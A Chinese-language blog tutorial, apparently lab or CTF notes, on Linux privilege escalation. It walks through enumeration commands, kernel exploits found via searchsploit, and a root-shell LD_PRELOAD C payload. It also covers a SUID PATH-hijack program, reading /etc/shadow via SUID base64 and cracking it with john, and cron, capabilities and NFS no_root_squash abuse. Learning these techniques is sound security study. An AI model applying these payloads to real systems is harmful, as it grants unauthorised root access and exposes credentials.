初识linux提权

Linux提权

简单来讲,提权就是将一个低权限用户利用系统的漏洞,设计缺陷等提升到一个高权限用户的过程。

枚举

就是进一步的进行信息收集。

hostname

返回目标机器的主机名,在某些情况下,可以提供有关目标系统在公司网络中的角色的信息。

uname -a

打印系统信息,为我们提供有关系统使用的内核的更多详细信息。

/proc/version

提供有关目标系统进程的信息,查看/proc/version可能会为您提供有关内核版本的信息和其他数据,例如是否安装了编译器(例如 GCC)。

/etc/issue

通过查看/etc/issue文件来识别系统。

ps Command

image-20240731195547857

PID是进程号 TTY是用户使用的终端类型 TIME是进程使用的CPU时间 CMD是正在运行的命令或可执行文件

ps -A 查看所有正在运行的进程

ps axjf:查看进程树

ps aux: aux 选项将显示所有用户的进程(a)、显示启动进程的用户(u)以及显示未附加到终端的进程(x)。

/etc/passwd

查看系统用户。

cat /etc/passwd | cut -d ":" -f 1

image-20240731201612405

ip route

查看网络路由

image-20240731201937765

netstat

netstat -a显示所有监听端口及已建立的连接。

netstat -au 或 netstat -at 可用于分别列出UDP或TCP协议。

netstat -l:列出处于“监听”模式的端口。

netstat -s 按协议列出网络使用情况统计信息。

netstat -tp 列出带有服务名称和PID信息的连接。

netstat -i:显示接口统计信息。

netstat -ano

find

find . -name flag.txt // 查找当前目录下的flag.txt的文件。

find /home -name flag.txt // 查找home目录下的flag.txt文件。

find / -type d -name config // 在/目录下查找名为config的目录

find / -type f -perm 0777 //查找具有 777 权限的文件(所有用户可读、可写、可执行的文件)

find / -perm a=x //查找可执行文件。

find /home -user frank //查找home目录下frank用户的所有文件。

find / -mtime 10 //查找过去10天内修改的文件

find / -atime 10 //查找过去10天内访问的文件

find / -cmin 10 //查找过去1h内更改过的文件

find / -amin 10 //查找过去1h内访问过的文件

find / -size 50M //查找大小为50MB的文件

有的时候使用find命令会出现错误,这个时候使用-type f 2>dev/null 将错误重定向到/dev/null中

find / -writable -type d 2>/dev/null

find / -perm -222 -type d 2>/dev/null

find / -perm -o w -type d 2>/dev/null

查找linux中所有可写的文件夹

find / -perm -u=s -type f 2>/dev/null 查找具有SUID位的文件

自动枚举工具

用于帮助枚举linux的系统信息,帮助发现潜在的权限提升漏洞。

权限提升:内核漏洞

Linux系统上的内核 管理系统内存和应用程序等组件之间的通信。此关键功能需要内核具有特定权限;因此,成功利用此漏洞可能会获得 root 权限。

利用:

1.搜索内核的版本信息。

2.查找目标版本的漏洞信息,进一步利用。

提示&说明:

在启动漏洞代码之前,请务必了解其工作原理。某些漏洞代码可能会对操作系统进行更改,从而导致其在进一步使用时不安全,或对系统进行不可逆转的更改,从而在以后造成问题。当然,这些在实验室或 CTF 环境中可能不是什么大问题,但在真正的渗透测试过程中,这些绝对是禁忌。

演示:

ssh登录进去,查看内核版本的信息。

image-20240803132633195

利用searchsploit进行搜索。

image-20240803132549682

可以先利用这个试一下。

image-20240803133524204

提权成功。

权限提升:Sudo

默认情况下,sudo命令允许以root的身份运行程序,在某些情况下,系统管理员需要对普通用户提供权限,例如一个普通用户以root身份运行nmap,但其他的地方都是普通权限。

1.sudo -l

可以使用sudo -l来查看哪些地方使用了root权限。

image-20240803143552893

https://gtfobins.github.io/是一个有价值的资源,它提供了有关如何使用您可能拥有 sudo 权限的任何程序的信息。

2.利用 LD_PRELOAD

在某些情况下,可能会看到LD_PRELOAD的环境选项。

img

LD_PRELOAD是一个允许任何程序使用共享库的函数。如果启用了“env_keep”选项,我们可以生成一个共享库,该库将在程序运行之前加载并执行。请注意,如果实际用户 ID 与有效用户 ID 不同,则将忽略 LD_PRELOAD 选项。

步骤如下:
1.检查LD_PRELOAD。

2.编写一个简单的c语言,编译为共享对象文件(.so)。

3.使用 sudo 权限和指向我们的 .so 文件的 LD_PRELOAD 选项运行该程序。

简单实例如下:

命名为shell.c

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

gcc -fPIC -shared -o shell.so shell.c -nostartfiles // 编译共享代码库 shell.so

sudo LD_PRELOAD=/home/user/ldpreload/shell.so find

img

权限提升:SUID

当一个可执行文件设置了 SUID 位,并且这个文件的所有者是 root(超级用户),普通用户执行这个文件时,操作系统会临时赋予该用户 root 权限来执行文件中的代码。这样,用户就可以执行一些通常需要 root 权限的操作。

查找具有suid标志位文件的命令:

1
find / -perm -u=s -type f 2>/dev/null

实例:

image-20240803181904538

然后去查看/etc/shadow的内容 发现没权限

image-20240803182059331

然后去查一下具有suid权限的文件

image-20240803182603040

https://gtfobins.github.io/ 在GTFOBins中可以查到base64的suid的提权

image-20240803182714855

可以进行文件的读取。

image-20240803183354514

然后利用john解一下user2的密码。

image-20240803183743929

然后ssh登录user2用户,在home目录下找到flag3.txt 但是这个仍然不是root权限,还利用上面的base64 进行读取文件。

image-20240803184043342

权限提升:功能(Capabilities)

Linux capabilities 将 root 权限划分为更小、更独立的单元,允许进程拥有一部分权限。这通过不必要地授予完整的 root 权限来最小化风险。

这个地方不进行详细的讲解了,就大概说明一下怎么使用,具体参考:https://book.hacktricks.xyz/v/cn/linux-hardening/privilege-escalation/linux-capabilities

利用getcap列出已启用的功能

getcap / -r 2>/dev/null

image-20240805103001043

然后在gtfobins中查看Capabilities

这个地方我们可以使用view

image-20240805104628853

但这个版本好像不太行,就没成功。

image-20240805104948137

权限提升:Cron Jobs

计划任务提权原理简单说一下:如果计划任务中有一个是以root身份运行的,并且我们可以查看该文件的内容,那么我们可以更改这个计划任务要运行的脚本内容,改成我们想要它执行的shell,当它下次执行的时候,就会变成root权限。

计划任务一般存放在/etc/crontab 文件中

image-20240805110631374

如果未定义脚本的完整路径(如对 backup.sh 脚本所做的那样),则 cron 将引用 /etc/crontab 文件中 PATH 变量下列出的路径。在这种情况下,我们应该能够在用户的主文件夹下创建一个名为“antivirus.sh”的脚本,并且它应该由 cron 作业运行。

可以查看到backup.sh文件的内容

image-20240805111419011

修改文件的内容。

image-20240805111531637

记得对backup.sh加上可执行的权限。

image-20240805151116953

最后监听端口即可得到root权限。

image-20240805151151072

权限提升:PATH 环境变量提权

linux中的PATH是一个环境变量,它告诉操作系统在哪里搜索可执行文件。

image-20240805153445551

像我们平时执行的ls cat find 等命令就是在PATH环境变量中进行查找的。

原理就是修改$PATH变量,当系统在执行某些常用命令时,优先运行攻击者提供的恶意可执行文件,从而进行一个权限的提升。

下面是演示:

首先我们先写一个c语言文件

1
2
3
4
5
6
#include<unistd.h>
void main(){
setuid(0);
setgid(0);
system("thm");
}

将其编译为可执行文件,并设置suid位。

然后我们寻找可写的文件夹,将其添加到PATH变量中(如果PATH变量没有的话),然后再向可写的文件夹下创建一个thm文件,将/bin/bash写入其中,将其赋予777权限,最后运行那个具有suid位的二进制文件,即可提权成功。

寻找可写的文件夹:

find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u

image-20240805160749792

我们将tmp加到PATH变量里面。

image-20240805160910692

然后向tmp下创建一个thm文件,并赋予777权限。

image-20240805160958915

最后运行具有suid位的二进制文件。

image-20240805161032325

权限提升:NFS

有的时候提权,不仅仅可以通过上面那些操作来进行,还可以通过共享文件夹和远程管理接口来进行提权(ssh,telnet等)。例如:在目标系统上找到root的ssh私钥,我们就可以通过ssh来连接目标服务器,从而达到root权限。

NFS(网络文件共享)配置保存在 /etc/exports 文件中。此文件是在 NFS 服务器安装期间创建的,通常可由用户读取。

image-20240805163235468

权限提升的关键元素是如上所示的“no_root_squash”选项。默认情况下,NFS 会将 root 用户更改为 nfsnobody,并剥夺任何文件以 root 权限运行的权利。如果可写共享上存在“no_root_squash”选项,我们可以创建一个设置了 SUID 位的可执行文件并在目标系统上运行它。

1.枚举目标机器上的可挂载共享。

image-20240805163709080

2.把其中一个“no_root_squash”共享安装到我们的攻击机器上并开始构建我们的可执行文件。

image-20240805164116393

3.构造具有suid位的可执行文件

image-20240805164434274

然后在目标系统上执行具有suid位的二进制文件。


初识linux提权
http://example.com/2024/07/30/linux提权/
作者
FSRM
发布于
2024年7月30日
更新于
2024年8月5日
许可协议